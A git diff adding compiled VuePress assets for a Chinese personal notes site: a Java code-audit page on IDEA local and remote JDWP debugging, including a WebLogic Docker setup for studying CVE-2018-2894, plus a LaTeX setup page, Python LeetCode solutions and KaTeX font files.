再来试试)","slug":"idea-远程调试-java-项目举例-cve-2018-2894-远程调试-寄-todo-等看完-docker-再来试试","link":"#idea-远程调试-java-项目举例-cve-2018-2894-远程调试-寄-todo-等看完-docker-再来试试","children":[]}],"git":{"createdTime":1667831333000,"updatedTime":1675159577000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":5.51,"words":1654},"filePathRelative":"Language/Java/Java代码审计.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git "a/assets/Java\344\273\243\347\240\201\345\256\241\350\256\241.html-9421b04c.js" "b/assets/Java\344\273\243\347\240\201\345\256\241\350\256\241.html-9421b04c.js"
new file mode 100644
index 0000000000..32f1151474
--- /dev/null
+++ "b/assets/Java\344\273\243\347\240\201\345\256\241\350\256\241.html-9421b04c.js"
@@ -0,0 +1,15 @@
+import{_ as n}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o,c as t,b as a,e as r,d as c,f as e}from"./app-880c6425.js";const l={},i=e(' Java 代码审计 Java 本地调试和远程调试技巧(IDEA) ',4),d=a("p",null,"VSCode 也可以远程调试 Java, 打算等在 IDEA 上玩熟练后再转 VSCode 试试",-1),u=a("hr",null,null,-1),m={href:"https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247483768&idx=1&sn=36ff6d279fa7dbd7d5ae00b06a3c3ddc&chksm=c2a1d5f1f5d65ce701e1f73ce0f584412bfc38a507622758f2acabce370cdcc4bb4af2270045&mpshare=1&scene=1&srcid=1228ltotPbA9s9n82O4p0ut7&sharer_sharetime=1640682315288&sharer_shareid=364b318b59e17770cdf42d79a4539355&version=3.1.23.6025&platform=win#rd",target:"_blank",rel:"noopener noreferrer"},k=a("hr",null,null,-1),h=e(`Java编写的项目一般较复杂,而且通常会引用大量第三方jar包。如果直接看代码逻辑会是一件很痛苦的事情,学会调试是开始java安全的必备技能。
本地调试
打断点
: 可以通过打断点来调试程序, IDEA 提供了不少断点调试按键, 如
F7
:步入,如果当前行有方法调用,会进入方法内部,否则继续下一行执行。不能进入官方类库的方法。F8
:步过,一行一行执行代码,如果当前行有方法调用,不会进行方法内部。Alt + Shift + F7
:强制步入,能进去任何方法,和F7的区别是能步入官方类库的方法 。Shift + F8
:步出,从步入的方法内退出到方法外面,此时方法已经执行完毕。查看当前断点信息
:
对于大型的项目,很多时候我们会下很多断点,但是自己都会忘记在哪个文件还打了断点的,这时候通过断点管理的功能就可以很方便的对断点进行管理。 另外这个位置还提供了异常断点的功能,异常断点是断点调试中的重要调试技巧之一。如果我们不确定程序的运行逻辑,但是知道程序一定会暴异常,这时候就可以通过异常断点来查看程序的运行逻辑。通过搜索异常名称就可以在对应异常位置下断点了
运行即时表达式
: 即时表达式是java调试中的重要工具,能帮助我们查看当前环境中变量值,查看线程信息,判断程序中的对比条件。
查看当前的栈调用信息
: 栈调用是非常重要的调试信息,通常栈调用过程就是程序运行时的逻辑顺序,对java漏洞调试非常重要。
当前变量信息
: 显示程序执行到当前位置时环境中的变量信息
远程调试 多数情况下,我们进行代码审计或者漏洞复现,都是把靶机环境装在虚拟机中,然后通过远程调试的方式来对系统进行利用。要让服务器支持远程调试,必须在启动的时候增加KVM参数,如下所示。
-Xdebug -Xrunjdwp:transport = dt_socket,suspend= n,server= y,address= 0.0 .0.0:5555
+
而 KVM 参数需要写在哪里, 对于不同服务器远程调试的参数写的位置不一样
上面开启了服务端远程调试的端口之后,下一步就需要客户端连接远程服务器进行调试。
为了保证远程调试的准确性,需要客户端拥有和服务端完全一样的源代码 (这很重要,一定要完全一样),所以最好直接把服务端整个源码拷贝一份到客户端idea中进行调试。 使用idea本地打开拷贝的服务端源码,并且把所有的 jar 包加入 library。然后新增一个 configuration,选择 Remote JVM Debug,填写开启的远程调试服务器 ip 和端口。
然后点击debug按钮,可以看到下面的成功连接到远程服务器的信息,代表远程连接建立成功。后续就可以像本地调试一样对远程项目进行调试了。
附录 所有四级标题单独提出来
IDEA 远程调试 Java 项目举例 - CVE-2018-2894 远程调试(寄/TODO: 等看完 Docker 再来试试) CVE-2018-2894
使用的镜像与 CVE-2020-14882
相同
编辑 doker-compose.yml
文件, 将打算用于远程调试的端口映射上
比如这里将 5555 端口用于远程调试
version : '2'
+services :
+ weblogic :
+ image : vulhub/weblogic: 12.2.1.3- 2018
+ ports :
+ - "7001:7001"
+ - "5555:5555"
+
然后启动容器
然后进入容器编辑配置文件
可以看到 line 48
通过运行 jar 包启动了服务, 修改 line 48
加上调试参数
cd /u01 && curl -o /u01/fmw_12.2.1.3.0_wls_quick.jar http://ca-docker-stage.us.oracle.com/middleware/weblogic/fmw_12.2.1.3.0_wls_quick.jar && \\
+$JAVA_HOME /bin/java -jar -Xdebug -Xrunjdwp:transport = dt_socket,suspend= n,server= y,address= 0.0 .0.0:5555 /u01/fmw_12.2.1.3.0_wls_quick.jar -invPtrLoc /u01/oraInst.loc -jreLoc $JAVA_HOME -ignoreSysPrereqs -force -novalidation ORACLE_HOME = $ORACLE_HOME && \\
+rm /u01/fmw_12.2.1.3.0_wls_quick.jar /u01/oraInst.loc /u01/install.file
+
然后重启容器
docker restart [ container_id]
+
`,39);function v(b,g){const s=p("ExternalLinkIcon");return o(),t("div",null,[i,a("blockquote",null,[d,u,a("p",null,[a("a",m,[r("告别脚本小子系列丨JAVA安全(1)——JAVA本地调试和远程调试技巧 (qq.com)"),c(s)])]),k]),h])}const f=n(l,[["render",v],["__file","Java代码审计.html.vue"]]);export{f as default};
diff --git a/assets/KaTeX_AMS-Regular-0cdd387c.woff2 b/assets/KaTeX_AMS-Regular-0cdd387c.woff2
new file mode 100644
index 0000000000..0acaaff03d
Binary files /dev/null and b/assets/KaTeX_AMS-Regular-0cdd387c.woff2 differ
diff --git a/assets/KaTeX_AMS-Regular-30da91e8.woff b/assets/KaTeX_AMS-Regular-30da91e8.woff
new file mode 100644
index 0000000000..b804d7b33a
Binary files /dev/null and b/assets/KaTeX_AMS-Regular-30da91e8.woff differ
diff --git a/assets/KaTeX_AMS-Regular-68534840.ttf b/assets/KaTeX_AMS-Regular-68534840.ttf
new file mode 100644
index 0000000000..c6f9a5e7c0
Binary files /dev/null and b/assets/KaTeX_AMS-Regular-68534840.ttf differ
diff --git a/assets/KaTeX_Caligraphic-Bold-07d8e303.ttf b/assets/KaTeX_Caligraphic-Bold-07d8e303.ttf
new file mode 100644
index 0000000000..9ff4a5e044
Binary files /dev/null and b/assets/KaTeX_Caligraphic-Bold-07d8e303.ttf differ
diff --git a/assets/KaTeX_Caligraphic-Bold-1ae6bd74.woff b/assets/KaTeX_Caligraphic-Bold-1ae6bd74.woff
new file mode 100644
index 0000000000..9759710d1d
Binary files /dev/null and b/assets/KaTeX_Caligraphic-Bold-1ae6bd74.woff differ
diff --git a/assets/KaTeX_Caligraphic-Bold-de7701e4.woff2 b/assets/KaTeX_Caligraphic-Bold-de7701e4.woff2
new file mode 100644
index 0000000000..f390922ece
Binary files /dev/null and b/assets/KaTeX_Caligraphic-Bold-de7701e4.woff2 differ
diff --git a/assets/KaTeX_Caligraphic-Regular-3398dd02.woff b/assets/KaTeX_Caligraphic-Regular-3398dd02.woff
new file mode 100644
index 0000000000..9bdd534fd2
Binary files /dev/null and b/assets/KaTeX_Caligraphic-Regular-3398dd02.woff differ
diff --git a/assets/KaTeX_Caligraphic-Regular-5d53e70a.woff2 b/assets/KaTeX_Caligraphic-Regular-5d53e70a.woff2
new file mode 100644
index 0000000000..75344a1f98
Binary files /dev/null and b/assets/KaTeX_Caligraphic-Regular-5d53e70a.woff2 differ
diff --git a/assets/KaTeX_Caligraphic-Regular-ed0b7437.ttf b/assets/KaTeX_Caligraphic-Regular-ed0b7437.ttf
new file mode 100644
index 0000000000..f522294ff0
Binary files /dev/null and b/assets/KaTeX_Caligraphic-Regular-ed0b7437.ttf differ
diff --git a/assets/KaTeX_Fraktur-Bold-74444efd.woff2 b/assets/KaTeX_Fraktur-Bold-74444efd.woff2
new file mode 100644
index 0000000000..395f28beac
Binary files /dev/null and b/assets/KaTeX_Fraktur-Bold-74444efd.woff2 differ
diff --git a/assets/KaTeX_Fraktur-Bold-9163df9c.ttf b/assets/KaTeX_Fraktur-Bold-9163df9c.ttf
new file mode 100644
index 0000000000..4e98259c3b
Binary files /dev/null and b/assets/KaTeX_Fraktur-Bold-9163df9c.ttf differ
diff --git a/assets/KaTeX_Fraktur-Bold-9be7ceb8.woff b/assets/KaTeX_Fraktur-Bold-9be7ceb8.woff
new file mode 100644
index 0000000000..e7730f6627
Binary files /dev/null and b/assets/KaTeX_Fraktur-Bold-9be7ceb8.woff differ
diff --git a/assets/KaTeX_Fraktur-Regular-1e6f9579.ttf b/assets/KaTeX_Fraktur-Regular-1e6f9579.ttf
new file mode 100644
index 0000000000..b8461b275f
Binary files /dev/null and b/assets/KaTeX_Fraktur-Regular-1e6f9579.ttf differ
diff --git a/assets/KaTeX_Fraktur-Regular-51814d27.woff2 b/assets/KaTeX_Fraktur-Regular-51814d27.woff2
new file mode 100644
index 0000000000..735f6948d6
Binary files /dev/null and b/assets/KaTeX_Fraktur-Regular-51814d27.woff2 differ
diff --git a/assets/KaTeX_Fraktur-Regular-5e28753b.woff b/assets/KaTeX_Fraktur-Regular-5e28753b.woff
new file mode 100644
index 0000000000..acab069f90
Binary files /dev/null and b/assets/KaTeX_Fraktur-Regular-5e28753b.woff differ
diff --git a/assets/KaTeX_Main-Bold-0f60d1b8.woff2 b/assets/KaTeX_Main-Bold-0f60d1b8.woff2
new file mode 100644
index 0000000000..ab2ad21da6
Binary files /dev/null and b/assets/KaTeX_Main-Bold-0f60d1b8.woff2 differ
diff --git a/assets/KaTeX_Main-Bold-138ac28d.ttf b/assets/KaTeX_Main-Bold-138ac28d.ttf
new file mode 100644
index 0000000000..4060e627dc
Binary files /dev/null and b/assets/KaTeX_Main-Bold-138ac28d.ttf differ
diff --git a/assets/KaTeX_Main-Bold-c76c5d69.woff b/assets/KaTeX_Main-Bold-c76c5d69.woff
new file mode 100644
index 0000000000..f38136ac1c
Binary files /dev/null and b/assets/KaTeX_Main-Bold-c76c5d69.woff differ
diff --git a/assets/KaTeX_Main-BoldItalic-70ee1f64.ttf b/assets/KaTeX_Main-BoldItalic-70ee1f64.ttf
new file mode 100644
index 0000000000..dc007977ee
Binary files /dev/null and b/assets/KaTeX_Main-BoldItalic-70ee1f64.ttf differ
diff --git a/assets/KaTeX_Main-BoldItalic-99cd42a3.woff2 b/assets/KaTeX_Main-BoldItalic-99cd42a3.woff2
new file mode 100644
index 0000000000..5931794de4
Binary files /dev/null and b/assets/KaTeX_Main-BoldItalic-99cd42a3.woff2 differ
diff --git a/assets/KaTeX_Main-BoldItalic-a6f7ec0d.woff b/assets/KaTeX_Main-BoldItalic-a6f7ec0d.woff
new file mode 100644
index 0000000000..67807b0bd4
Binary files /dev/null and b/assets/KaTeX_Main-BoldItalic-a6f7ec0d.woff differ
diff --git a/assets/KaTeX_Main-Italic-0d85ae7c.ttf b/assets/KaTeX_Main-Italic-0d85ae7c.ttf
new file mode 100644
index 0000000000..0e9b0f354a
Binary files /dev/null and b/assets/KaTeX_Main-Italic-0d85ae7c.ttf differ
diff --git a/assets/KaTeX_Main-Italic-97479ca6.woff2 b/assets/KaTeX_Main-Italic-97479ca6.woff2
new file mode 100644
index 0000000000..b50920e138
Binary files /dev/null and b/assets/KaTeX_Main-Italic-97479ca6.woff2 differ
diff --git a/assets/KaTeX_Main-Italic-f1d6ef86.woff b/assets/KaTeX_Main-Italic-f1d6ef86.woff
new file mode 100644
index 0000000000..6f43b594b6
Binary files /dev/null and b/assets/KaTeX_Main-Italic-f1d6ef86.woff differ
diff --git a/assets/KaTeX_Main-Regular-c2342cd8.woff2 b/assets/KaTeX_Main-Regular-c2342cd8.woff2
new file mode 100644
index 0000000000..eb24a7ba28
Binary files /dev/null and b/assets/KaTeX_Main-Regular-c2342cd8.woff2 differ
diff --git a/assets/KaTeX_Main-Regular-c6368d87.woff b/assets/KaTeX_Main-Regular-c6368d87.woff
new file mode 100644
index 0000000000..21f5812968
Binary files /dev/null and b/assets/KaTeX_Main-Regular-c6368d87.woff differ
diff --git a/assets/KaTeX_Main-Regular-d0332f52.ttf b/assets/KaTeX_Main-Regular-d0332f52.ttf
new file mode 100644
index 0000000000..dd45e1ed2e
Binary files /dev/null and b/assets/KaTeX_Main-Regular-d0332f52.ttf differ
diff --git a/assets/KaTeX_Math-BoldItalic-850c0af5.woff b/assets/KaTeX_Math-BoldItalic-850c0af5.woff
new file mode 100644
index 0000000000..0ae390d74c
Binary files /dev/null and b/assets/KaTeX_Math-BoldItalic-850c0af5.woff differ
diff --git a/assets/KaTeX_Math-BoldItalic-dc47344d.woff2 b/assets/KaTeX_Math-BoldItalic-dc47344d.woff2
new file mode 100644
index 0000000000..29657023ad
Binary files /dev/null and b/assets/KaTeX_Math-BoldItalic-dc47344d.woff2 differ
diff --git a/assets/KaTeX_Math-BoldItalic-f9377ab0.ttf b/assets/KaTeX_Math-BoldItalic-f9377ab0.ttf
new file mode 100644
index 0000000000..728ce7a1e2
Binary files /dev/null and b/assets/KaTeX_Math-BoldItalic-f9377ab0.ttf differ
diff --git a/assets/KaTeX_Math-Italic-08ce98e5.ttf b/assets/KaTeX_Math-Italic-08ce98e5.ttf
new file mode 100644
index 0000000000..70d559b4e9
Binary files /dev/null and b/assets/KaTeX_Math-Italic-08ce98e5.ttf differ
diff --git a/assets/KaTeX_Math-Italic-7af58c5e.woff2 b/assets/KaTeX_Math-Italic-7af58c5e.woff2
new file mode 100644
index 0000000000..215c143fd7
Binary files /dev/null and b/assets/KaTeX_Math-Italic-7af58c5e.woff2 differ
diff --git a/assets/KaTeX_Math-Italic-8a8d2445.woff b/assets/KaTeX_Math-Italic-8a8d2445.woff
new file mode 100644
index 0000000000..eb5159d4c1
Binary files /dev/null and b/assets/KaTeX_Math-Italic-8a8d2445.woff differ
diff --git a/assets/KaTeX_SansSerif-Bold-1ece03f7.ttf b/assets/KaTeX_SansSerif-Bold-1ece03f7.ttf
new file mode 100644
index 0000000000..2f65a8a3a6
Binary files /dev/null and b/assets/KaTeX_SansSerif-Bold-1ece03f7.ttf differ
diff --git a/assets/KaTeX_SansSerif-Bold-e99ae511.woff2 b/assets/KaTeX_SansSerif-Bold-e99ae511.woff2
new file mode 100644
index 0000000000..cfaa3bda59
Binary files /dev/null and b/assets/KaTeX_SansSerif-Bold-e99ae511.woff2 differ
diff --git a/assets/KaTeX_SansSerif-Bold-ece03cfd.woff b/assets/KaTeX_SansSerif-Bold-ece03cfd.woff
new file mode 100644
index 0000000000..8d47c02d94
Binary files /dev/null and b/assets/KaTeX_SansSerif-Bold-ece03cfd.woff differ
diff --git a/assets/KaTeX_SansSerif-Italic-00b26ac8.woff2 b/assets/KaTeX_SansSerif-Italic-00b26ac8.woff2
new file mode 100644
index 0000000000..349c06dc60
Binary files /dev/null and b/assets/KaTeX_SansSerif-Italic-00b26ac8.woff2 differ
diff --git a/assets/KaTeX_SansSerif-Italic-3931dd81.ttf b/assets/KaTeX_SansSerif-Italic-3931dd81.ttf
new file mode 100644
index 0000000000..d5850df98e
Binary files /dev/null and b/assets/KaTeX_SansSerif-Italic-3931dd81.ttf differ
diff --git a/assets/KaTeX_SansSerif-Italic-91ee6750.woff b/assets/KaTeX_SansSerif-Italic-91ee6750.woff
new file mode 100644
index 0000000000..7e02df9636
Binary files /dev/null and b/assets/KaTeX_SansSerif-Italic-91ee6750.woff differ
diff --git a/assets/KaTeX_SansSerif-Regular-11e4dc8a.woff b/assets/KaTeX_SansSerif-Regular-11e4dc8a.woff
new file mode 100644
index 0000000000..31b84829b4
Binary files /dev/null and b/assets/KaTeX_SansSerif-Regular-11e4dc8a.woff differ
diff --git a/assets/KaTeX_SansSerif-Regular-68e8c73e.woff2 b/assets/KaTeX_SansSerif-Regular-68e8c73e.woff2
new file mode 100644
index 0000000000..a90eea85f6
Binary files /dev/null and b/assets/KaTeX_SansSerif-Regular-68e8c73e.woff2 differ
diff --git a/assets/KaTeX_SansSerif-Regular-f36ea897.ttf b/assets/KaTeX_SansSerif-Regular-f36ea897.ttf
new file mode 100644
index 0000000000..537279f6bd
Binary files /dev/null and b/assets/KaTeX_SansSerif-Regular-f36ea897.ttf differ
diff --git a/assets/KaTeX_Script-Regular-036d4e95.woff2 b/assets/KaTeX_Script-Regular-036d4e95.woff2
new file mode 100644
index 0000000000..b3048fc115
Binary files /dev/null and b/assets/KaTeX_Script-Regular-036d4e95.woff2 differ
diff --git a/assets/KaTeX_Script-Regular-1c67f068.ttf b/assets/KaTeX_Script-Regular-1c67f068.ttf
new file mode 100644
index 0000000000..fd679bf374
Binary files /dev/null and b/assets/KaTeX_Script-Regular-1c67f068.ttf differ
diff --git a/assets/KaTeX_Script-Regular-d96cdf2b.woff b/assets/KaTeX_Script-Regular-d96cdf2b.woff
new file mode 100644
index 0000000000..0e7da821ee
Binary files /dev/null and b/assets/KaTeX_Script-Regular-d96cdf2b.woff differ
diff --git a/assets/KaTeX_Size1-Regular-6b47c401.woff2 b/assets/KaTeX_Size1-Regular-6b47c401.woff2
new file mode 100644
index 0000000000..c5a8462fbf
Binary files /dev/null and b/assets/KaTeX_Size1-Regular-6b47c401.woff2 differ
diff --git a/assets/KaTeX_Size1-Regular-95b6d2f1.ttf b/assets/KaTeX_Size1-Regular-95b6d2f1.ttf
new file mode 100644
index 0000000000..871fd7d19d
Binary files /dev/null and b/assets/KaTeX_Size1-Regular-95b6d2f1.ttf differ
diff --git a/assets/KaTeX_Size1-Regular-c943cc98.woff b/assets/KaTeX_Size1-Regular-c943cc98.woff
new file mode 100644
index 0000000000..7f292d9118
Binary files /dev/null and b/assets/KaTeX_Size1-Regular-c943cc98.woff differ
diff --git a/assets/KaTeX_Size2-Regular-2014c523.woff b/assets/KaTeX_Size2-Regular-2014c523.woff
new file mode 100644
index 0000000000..d241d9be2d
Binary files /dev/null and b/assets/KaTeX_Size2-Regular-2014c523.woff differ
diff --git a/assets/KaTeX_Size2-Regular-a6b2099f.ttf b/assets/KaTeX_Size2-Regular-a6b2099f.ttf
new file mode 100644
index 0000000000..7a212caf91
Binary files /dev/null and b/assets/KaTeX_Size2-Regular-a6b2099f.ttf differ
diff --git a/assets/KaTeX_Size2-Regular-d04c5421.woff2 b/assets/KaTeX_Size2-Regular-d04c5421.woff2
new file mode 100644
index 0000000000..e1bccfe240
Binary files /dev/null and b/assets/KaTeX_Size2-Regular-d04c5421.woff2 differ
diff --git a/assets/KaTeX_Size3-Regular-500e04d5.ttf b/assets/KaTeX_Size3-Regular-500e04d5.ttf
new file mode 100644
index 0000000000..00bff3495f
Binary files /dev/null and b/assets/KaTeX_Size3-Regular-500e04d5.ttf differ
diff --git a/assets/KaTeX_Size3-Regular-6ab6b62e.woff b/assets/KaTeX_Size3-Regular-6ab6b62e.woff
new file mode 100644
index 0000000000..e6e9b658dc
Binary files /dev/null and b/assets/KaTeX_Size3-Regular-6ab6b62e.woff differ
diff --git a/assets/KaTeX_Size4-Regular-99f9c675.woff b/assets/KaTeX_Size4-Regular-99f9c675.woff
new file mode 100644
index 0000000000..e1ec545766
Binary files /dev/null and b/assets/KaTeX_Size4-Regular-99f9c675.woff differ
diff --git a/assets/KaTeX_Size4-Regular-a4af7d41.woff2 b/assets/KaTeX_Size4-Regular-a4af7d41.woff2
new file mode 100644
index 0000000000..680c130850
Binary files /dev/null and b/assets/KaTeX_Size4-Regular-a4af7d41.woff2 differ
diff --git a/assets/KaTeX_Size4-Regular-c647367d.ttf b/assets/KaTeX_Size4-Regular-c647367d.ttf
new file mode 100644
index 0000000000..74f08921f0
Binary files /dev/null and b/assets/KaTeX_Size4-Regular-c647367d.ttf differ
diff --git a/assets/KaTeX_Typewriter-Regular-71d517d6.woff2 b/assets/KaTeX_Typewriter-Regular-71d517d6.woff2
new file mode 100644
index 0000000000..771f1af705
Binary files /dev/null and b/assets/KaTeX_Typewriter-Regular-71d517d6.woff2 differ
diff --git a/assets/KaTeX_Typewriter-Regular-e14fed02.woff b/assets/KaTeX_Typewriter-Regular-e14fed02.woff
new file mode 100644
index 0000000000..2432419f28
Binary files /dev/null and b/assets/KaTeX_Typewriter-Regular-e14fed02.woff differ
diff --git a/assets/KaTeX_Typewriter-Regular-f01f3e87.ttf b/assets/KaTeX_Typewriter-Regular-f01f3e87.ttf
new file mode 100644
index 0000000000..c83252c571
Binary files /dev/null and b/assets/KaTeX_Typewriter-Regular-f01f3e87.ttf differ
diff --git a/assets/Latex.html-92b5955d.js b/assets/Latex.html-92b5955d.js
new file mode 100644
index 0000000000..a79641d5d8
--- /dev/null
+++ b/assets/Latex.html-92b5955d.js
@@ -0,0 +1 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as n,o as h,c as s,b as e,e as a,d as t}from"./app-880c6425.js";const l={},c=e("h1",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),a(" 安装")],-1),i=e("h2",{id:"vscode-下使用-latex",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#vscode-下使用-latex","aria-hidden":"true"},"#"),a(" VSCode 下使用 LaTeX")],-1),d={href:"https://www.zhihu.com/question/62943097/answer/203670095",target:"_blank",rel:"noopener noreferrer"},u={href:"https://zhuanlan.zhihu.com/p/337813181",target:"_blank",rel:"noopener noreferrer"},_={href:"https://zhuanlan.zhihu.com/p/382472221",target:"_blank",rel:"noopener noreferrer"},f={href:"https://zhuanlan.zhihu.com/p/52347414",target:"_blank",rel:"noopener noreferrer"},p=e("hr",null,null,-1),x=e("h2",{id:"纠错日志",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#纠错日志","aria-hidden":"true"},"#"),a(" 纠错日志")],-1),m=e("h3",{id:"xelatex-major-issue-so-far-you-have-not-checked-for-updates-as-a-miktex-user",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#xelatex-major-issue-so-far-you-have-not-checked-for-updates-as-a-miktex-user","aria-hidden":"true"},"#"),a(),e("code",null,"xelatex: major issue: So far, you have not checked for updates as a MiKTeX user.")],-1),k={href:"https://miktex.org/howto/update-miktex",target:"_blank",rel:"noopener noreferrer"},z=e("hr",null,null,-1);function b(L,v){const o=n("ExternalLinkIcon");return h(),s("div",null,[c,i,e("ul",null,[e("li",null,[e("a",d,[a("如何从零开始,入门 LaTeX? - 知乎 (zhihu.com)"),t(o)])]),e("li",null,[e("a",u,[a("如何用VScode快乐书写LaTex - 知乎 (zhihu.com)"),t(o)]),a(" [PS: ctex警告] [能用, 但是编译挺慢的]")]),e("li",null,[e("a",_,[a("使用 VS Code 编译 LaTeX - 知乎 (zhihu.com)"),t(o)])]),e("li",null,[e("a",f,[a("Latex基础语法 - 知乎 (zhihu.com)"),t(o)])])]),p,x,m,e("p",null,[a("update MIKTeX -> "),e("a",k,[a("Update MiKTeX"),t(o)])]),z])}const V=r(l,[["render",b],["__file","Latex.html.vue"]]);export{V as default};
diff --git a/assets/Latex.html-bf6c3107.js b/assets/Latex.html-bf6c3107.js
new file mode 100644
index 0000000000..c5323449a4
--- /dev/null
+++ b/assets/Latex.html-bf6c3107.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-7b0533a3","path":"/NoteTools/LaTex/Latex.html","title":"安装","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"VSCode 下使用 LaTeX","slug":"vscode-下使用-latex","link":"#vscode-下使用-latex","children":[]},{"level":2,"title":"纠错日志","slug":"纠错日志","link":"#纠错日志","children":[{"level":3,"title":"xelatex: major issue: So far, you have not checked for updates as a MiKTeX user.","slug":"xelatex-major-issue-so-far-you-have-not-checked-for-updates-as-a-miktex-user","link":"#xelatex-major-issue-so-far-you-have-not-checked-for-updates-as-a-miktex-user","children":[]}]}],"git":{"createdTime":1667840449000,"updatedTime":1667840449000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.32,"words":96},"filePathRelative":"NoteTools/LaTex/Latex.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/LeetCodeNote.html-743e0a88.js b/assets/LeetCodeNote.html-743e0a88.js
new file mode 100644
index 0000000000..48550f7a5c
--- /dev/null
+++ b/assets/LeetCodeNote.html-743e0a88.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-2fbe865a","path":"/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/%E7%AE%97%E6%B3%95/LeetCode/LeetCodeNote.html","title":"11.22 判断字母异位词","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"version 1","slug":"version-1","link":"#version-1","children":[]},{"level":2,"title":"version 2","slug":"version-2","link":"#version-2","children":[]},{"level":2,"title":"题目","slug":"题目","link":"#题目","children":[]},{"level":2,"title":"version1(自己写的垃圾)","slug":"version1-自己写的垃圾","link":"#version1-自己写的垃圾","children":[]},{"level":2,"title":"version2(速度最快的典型代码)","slug":"version2-速度最快的典型代码","link":"#version2-速度最快的典型代码","children":[]},{"level":2,"title":"解析指路","slug":"解析指路","link":"#解析指路","children":[]},{"level":2,"title":"思路","slug":"思路","link":"#思路","children":[]},{"level":2,"title":"自己的粪码","slug":"自己的粪码","link":"#自己的粪码","children":[]},{"level":2,"title":"力扣加加","slug":"力扣加加","link":"#力扣加加","children":[]},{"level":2,"title":"题目描述","slug":"题目描述","link":"#题目描述","children":[]},{"level":2,"title":"归并排序(递归)","slug":"归并排序-递归","link":"#归并排序-递归","children":[]}],"git":{"createdTime":1667841430000,"updatedTime":1667841430000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":3.9,"words":1170},"filePathRelative":"学习路线/算法/LeetCode/LeetCodeNote.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/LeetCodeNote.html-f27338f6.js b/assets/LeetCodeNote.html-f27338f6.js
new file mode 100644
index 0000000000..002fb93d19
--- /dev/null
+++ b/assets/LeetCodeNote.html-f27338f6.js
@@ -0,0 +1,116 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as l,c as i,a as c,b as n,e as s,d as e,f as a}from"./app-880c6425.js";const u={},r=a(` 11.22 判断字母异位词 version 1 class Solution :
+ def isAnagram ( self, s: str , t: str ) - > bool :
+ count_dict = { }
+ count_dict_s = { }
+ for item in t:
+ count_dict[ item] = count_dict[ item] + 1 if item in count_dict else 1
+ for item in s:
+ count_dict_s[ item] = count_dict_s[ item] + 1 if item in count_dict_s else 1
+ if count_dict. keys( ) != count_dict_s. keys( ) :
+ return False
+ for i in count_dict. keys( ) :
+ if count_dict[ i] != count_dict_s[ i] :
+ return False
+ return True
+
执行用时:48 ms, 在所有 Python3 提交中击败了91.08%的用户 内存消耗:13.6 MB, 在所有 Python3 提交中击败了56.70%的用户 version 2 def isAnagram ( s: str , t: str ) - > bool :
+ return False if sorted ( s) != sorted ( t) else True
+
执行用时:68 ms, 在所有 Python3 提交中击败了35.57%的用户 内存消耗:14.2 MB, 在所有 Python3 提交中击败了30.44%的用户 3.13 两数相加 本题接触到了LeetCode的ListNode类 ListNodeObject.val -> 取该结点的值 ListNodeObject.next -> 该结点下一个结点 题目 给你两个非空的链表,表示两个非负的整数。它们每位数字都是按照逆序 的方式存储的,并且每个节点只能存储 一位 数字。
请你将两个数相加,并以相同形式返回一个表示和的链表。
你可以假设除了数字 0 之外,这两个数都不会以 0 开头。
示例1
输入:l1 = [2,4,3], l2 = [5,6,4]
+输出:[7,0,8]
+解释:342 + 465 = 807.
+
version1(自己写的垃圾) class Solution :
+ def addTwoNumbers ( self, l1: ListNode, l2: ListNode) - > ListNode:
+ add_temp= l1. val + l2. val
+ l3 = l4 = ListNode( add_temp % 10 )
+ carry = add_temp // 10
+ while ( l1. next or l2. next ) :
+ l1 = l1. next if l1. next else ListNode( )
+ l2 = l2. next if l2. next else ListNode( )
+ add_temp = l1. val + l2. val + carry
+ l4. next = ListNode( add_temp % 10 )
+ carry = add_temp // 10
+ l4 = l4. next
+ if carry:
+ l4. next = ListNode( 1 )
+ return l3
+
1568/1568 cases passed (80 ms)
Your runtime beats 29.08 % of python3 submissions
Your memory usage beats 26.98 % of python3 submissions (14.9 MB)
生草,再执行一次又变了,不改了不改了
1568/1568 cases passed (68 ms)
Your runtime beats 74.05 % of python3 submissions
Your memory usage beats 87.85 % of python3 submissions (14.7 MB)
version2(速度最快的典型代码) class Solution :
+ def addTwoNumbers ( self, l1: ListNode, l2: ListNode) - > ListNode:
+ carry = 0
+ head = curr = ListNode( 0 )
+ while l1 or l2:
+ val = carry
+ if l1:
+ val += l1. val
+ l1 = l1. next
+ if l2:
+ val += l2. val
+ l2 = l2. next
+
+ curr. next = ListNode( val % 10 )
+ curr = curr. next
+ carry = val // 10
+ if carry> 0 :
+ curr. next = ListNode( carry)
+
+
+ return head. next
+
解析指路 `,23),d={href:"https://www.cxyxiaowu.com/6843.html",target:"_blank",rel:"noopener noreferrer"},k=a(` 3.14 无重复的最长字符串 给定一个字符串,请你找出其中不含有重复字符的 最长子串 的长度。 示例 1:输入: s = "abcabcbb"
+输出: 3
+解释: 因为无重复字符的最长子串是 "abc",所以其长度为 3。
+
思路 `,5),m=n("li",null,"滑动窗口解题",-1),v={href:"https://www.cxyxiaowu.com/6845.html",target:"_blank",rel:"noopener noreferrer"},b=a(` 自己的粪码 class Solution :
+ def lengthOfLongestSubstring ( self, s: str ) - > int :
+ ans = 0
+ lst = [ ]
+ left = right = - 1
+ while right != len ( s) - 1 :
